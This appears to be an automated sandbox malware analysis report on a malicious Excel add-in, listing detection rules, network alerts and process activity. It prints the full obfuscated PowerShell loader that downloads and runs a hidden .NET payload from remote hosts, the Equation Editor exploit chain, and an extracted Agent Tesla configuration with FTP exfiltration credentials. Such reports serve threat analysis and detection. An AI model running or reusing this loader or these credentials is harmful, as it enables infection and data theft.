'+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) | & ((varIABLE '*Mdr*').Name[3,11,2]-JOin'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0Lklu

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3700, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , ProcessId: 3840, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3700, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , ProcessId: 3840, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0Lklu

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, QueryName: ip-api.com

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3700, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" , ProcessId: 3840, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3700, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0Lklu

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3884, TargetFilename: C:\Users\user\AppData\Local\Temp\u3hmr3af.da3.ps1

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:59:27.937146+0200	2020424	1	Exploit Kit Activity Detected	107.172.31.13	80	192.168.2.22	49168	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:59:16.752082+0200	2049038	1	A Network Trojan was detected	142.250.186.97	443	192.168.2.22	49167	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: transferencia interbancaria_66579.xlam.xlsx

Avira: detected

Found malware configuration

Source: 9.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Multi AV Scanner detection for submitted file

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 107.172.31.13 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
